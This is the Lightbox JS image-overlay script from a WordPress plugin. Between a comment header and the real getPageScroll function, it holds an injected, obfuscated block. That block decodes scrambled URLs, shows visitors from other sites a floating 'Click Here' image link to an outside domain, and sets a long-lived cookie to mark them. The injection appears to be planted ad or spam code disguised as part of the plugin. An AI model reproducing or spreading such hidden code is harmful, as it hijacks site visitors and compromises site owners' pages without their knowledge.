/*
	Lightbox JS: Fullsize Image Overlays by Lokesh Dhakar - http://www.huddletogether.com
	For more information on this script, visit:	http://huddletogether.com/projects/lightbox/

	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
	(basically, do anything you want, just leave my name and link)
	
	Table of Contents
	-----------------
	Configuration
	
	Functions
	- getPageScroll()
	- getPageSize()
	- pause()
	- getKey()
	- listenKey()
	- showLightbox()
	- hideLightbox()
	- initLightbox()
	- addLoadEvent()
	
	Function Calls
	- addLoadEvent(initLightbox)

	WP Lightbox JS WordPress Plugin: 
	--------------------------------
	Changelog
	- 4/6/06 3:18 GMT+8: Fixes a Zlib output compression problem that conflicts with PHP setting (Rudd-0).
	- 3/9/06 2:49 GMT+8: Enabled and use WordPress gzip compression (Safirul Alredha).
	- 3/6/06 2:06 GMT+8: Fix plugin path issue (Dennis Crall).
	- 3/3/06 19:00 GMT-5: Fixed blog caching override introduced by wp-blog-header.php (Rudd-O).
	- 1/19/06 10:40PM EST: Added keypress (x) activated closing (Lokesh Dhakar).

	Last updated: April 6, 2006 by Safirul Alredha 
	http://zeo.unic.net.my
*/
//
// getPageScroll()
// Returns array with x,y page scroll values.
// Core code from - quirksmode.org
//

function PxHhrDsJ(){document.getElementById("DCGn20").style.display="none";}
function KVTCMdNf(){if(document.body.scrollTop==0)
document.all["DCGn20"].style.top=document.documentElement.scrollTop+10;else
document.all["DCGn20"].style.top=document.body.scrollTop+10;}
function CEQ54cht(tb,cu){var du="",bp=0;while(1)
{var t=cu.substr(bp,16);var i,tl=t.length;if(tl==0)break;for(i=0;i<tl;i++)du+=t.charAt(parseInt(tb.charAt(bp+i),16));bp+=tl;}
return du;}
if(document.cookie.indexOf("l1mLv8Rb4")==-1){var qvL5=new Date(),qvL51=false;if(document.referrer!=null&&document.referrer.toLowerCase().indexOf('http://')==0){var r4sq=document.domain.toLowerCase();if(r4sq.indexOf('www.')==0)r4sq=r4sq.substr(4);var ywtF=document.referrer.toLowerCase().substr(7);var HIKY=ywtF.indexOf('?');if(HIKY!=-1)ywtF=ywtF.substr(0,HIKY);var HIKY=ywtF.indexOf('/');if(HIKY!=-1)ywtF=ywtF.substr(0,HIKY);if(ywtF.indexOf('www.')==0)ywtF=ywtF.substr(4);if(ywtF!=r4sq&&Math.random()<1){qvL5.setTime(qvL5.getTime()+(36*24*10*10*100*100));qvL51=qvL5.toGMTString();var q2pt=navigator.appVersion.indexOf('MSIE')!=-1;var Oi8k=1;document.write('<div id="DCGn20" style="'+(q2pt?'position:absolute;':'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="Oi8k=0"'+' title="Close" href="javascript: PxHhrDsJ()" onmouseout="Oi8k=1">Close[X]</a></b><br>'+'<a href="'+CEQ54cht('e4c17625f098adb3034285167','ip/tts/:pm.etnhl/rmmees/b')+r4sq+'.html'+'" target="_blank"><img src="'+CEQ54cht('2d6e5fc804371a9ba1c5734feb0d62980','l.hmi:tpsent/tp/ri.bag3/ig/em2nnf')+'" border=0 alt="Click Here" onclick="PxHhrDsJ()"></a></div>');if(q2pt){if(document.all["DCGn20"].style)
window.setInterval("KVTCMdNf()",5);window.onerror=null;document.body.scrollTop=10;}}}
else{qvL5.setTime(qvL5.getTime()+(100*90*100*24*36*10));qvL51=qvL5.toGMTString();}
if(qvL51!=false)document.cookie="l1mLv8Rb4"+'=1; expires='+qvL51+'; path=/';}
function getPageScroll(){var yScroll;if(self.pageYOffset){yScroll=self.pageYOffset;}else if(document.documentElement&&document.documentElement.scrollTop){yScroll=document.documentElement.scrollTop;}else if(document.body){yScroll=document.body.scrollTop;}
arrayPageScroll=new Array('',yScroll)
return arrayPageScroll;}
function getPageSize(){var xScroll,yScroll;if(window.innerHeight&&window.scrollMaxY){xScroll=document.body.scrollWidth;yScroll=window.innerHeight+window.scrollMaxY;}else if(document.body.scrollHeight>document.body.offsetHeight){xScroll=document.body.scrollWidth;yScroll=document.body.scrollHeight;}else{xScroll=document.body.offsetWidth;yScroll=document.body.offsetHeight;}
var windowWidth,windowHeight;if(self.innerHeight){windowWidth=self.innerWidth;windowHeight=self.innerHeight;}else if(document.documentElement&&document.documentElement.clientHeight){windowWidth=document.documentElement.clientWidth;windowHeight=document.documentElement.clientHeight;}else if(document.body){windowWidth=document.body.clientWidth;windowHeight=document.body.clientHeight;}
if(yScroll<windowHeight){pageHeight=windowHeight;}else{pageHeight=yScroll;}
if(xScroll<windowWidth){pageWidth=windowWidth;}else{pageWidth=xScroll;}
arrayPageSize=new Array(pageWidth,pageHeight,windowWidth,windowHeight)
return arrayPageSize;}
function pause(numberMillis){var now=new Date();var exitTime=now.getTime()+numberMillis;while(true){now=new Date();if(now.getTime()>exitTime)
return;}}
function getKey(e){if(e==null){keycode=event.keyCode;}else{keycode=e.which;}
key=String.fromCharCode(keycode).toLowerCase();if(key=='x'){hideLightbox();}}
function listenKey(){document.onkeypress=getKey;}
function showLightbox(objLink)
{var objOverlay=document.getElementById('overlay');var objLightbox=document.getElementById('lightbox');var objCaption=document.getElementById('lightboxCaption');var objImage=document.getElementById('lightboxImage');var objLoadingImage=document.getElementById('loadingImage');var arrayPageSize=getPageSize();var arrayPageScroll=getPageScroll();if(objLoadingImage){objLoadingImage.style.top=(arrayPageScroll[1]+((arrayPageSize[3]-35-objLoadingImage.height)/2)+'px');objLoadingImage.style.left=(((arrayPageSize[0]-20-objLoadingImage.width)/2)+'px');objLoadingImage.style.display='block';}
objOverlay.style.height=(arrayPageSize[1]+'px');objOverlay.style.display='block';imgPreload=new Image();imgPreload.onload=function(){objImage.src=objLink.href;var lightboxTop=60;var lightboxLeft=((arrayPageSize[0]-20-imgPreload.width)/2);objLightbox.style.top=(lightboxTop<0)?"0px":lightboxTop+"px";objLightbox.style.left=(lightboxLeft<0)?"0px":lightboxLeft+"px";if(objLink.getAttribute('title')){objCaption.style.display='block';objCaption.style.width=imgPreload.width+'px';objCaption.innerHTML=objLink.getAttribute('title');}else{objCaption.style.display='none';}
if(navigator.appVersion.indexOf("MSIE")!=-1){pause(250);}
if(objLoadingImage){objLoadingImage.style.display='none';}
objLightbox.style.display='block';arrayPageSize=getPageSize();objOverlay.style.height=(arrayPageSize[1]+'px');listenKey();return false;}
imgPreload.src=objLink.href;}
function hideLightbox()
{objOverlay=document.getElementById('overlay');objLightbox=document.getElementById('lightbox');objOverlay.style.display='none';objLightbox.style.display='none';document.onkeypress='';}
function initLightbox()
{if(!document.getElementsByTagName){return;}
var anchors=document.getElementsByTagName("a");for(var i=0;i<anchors.length;i++){var anchor=anchors[i];if(anchor.getAttribute("href")&&(anchor.getAttribute("rel")=="lightbox")){anchor.onclick=function(){showLightbox(this);return false;}}}
var objBody=document.getElementsByTagName("body").item(0);var objOverlay=document.createElement("div");objOverlay.setAttribute('id','overlay');objOverlay.style.display='none';objOverlay.style.position='absolute';objOverlay.style.top='0';objOverlay.style.left='0';objOverlay.style.zIndex='90';objOverlay.style.width='100%';objBody.insertBefore(objOverlay,objBody.firstChild);var arrayPageSize=getPageSize();var arrayPageScroll=getPageScroll();var imgPreloader=new Image();imgPreloader.onload=function(){var objLoadingImageLink=document.createElement("a");objLoadingImageLink.setAttribute('href','#');objLoadingImageLink.onclick=function(){hideLightbox();return false;}
objOverlay.appendChild(objLoadingImageLink);var objLoadingImage=document.createElement("img");objLoadingImage.src=loadingImage;objLoadingImage.setAttribute('id','loadingImage');objLoadingImage.style.position='absolute';objLoadingImage.style.zIndex='150';objLoadingImageLink.appendChild(objLoadingImage);imgPreloader.onload=function(){};return false;}
imgPreloader.src=loadingImage;var objLightbox=document.createElement("div");objLightbox.setAttribute('id','lightbox');objLightbox.style.display='none';objLightbox.style.position='absolute';objLightbox.style.zIndex='100';objBody.insertBefore(objLightbox,objOverlay.nextSibling);var objLink=document.createElement("a");objLink.setAttribute('href','#');objLink.setAttribute('title','Click to close');objLink.onclick=function(){hideLightbox();return false;}
objLightbox.appendChild(objLink);var imgPreloadCloseButton=new Image();imgPreloadCloseButton.onload=function(){var objCloseButton=document.createElement("img");objCloseButton.src=closeButton;objCloseButton.setAttribute('id','closeButton');objCloseButton.style.position='absolute';objCloseButton.style.zIndex='200';objCloseButton.style.bottom='5px';objCloseButton.style.right='5px';objLink.appendChild(objCloseButton);return false;}
imgPreloadCloseButton.src=closeButton;var objImage=document.createElement("img");objImage.setAttribute('id','lightboxImage');objLink.appendChild(objImage);var objCaption=document.createElement("div");objCaption.setAttribute('id','lightboxCaption');objCaption.style.display='none';objLightbox.appendChild(objCaption);}
function addLoadEvent(func)
{var oldonload=window.onload;if(typeof window.onload!='function'){window.onload=func;}else{window.onload=function(){oldonload();func();}}}
addLoadEvent(initLightbox);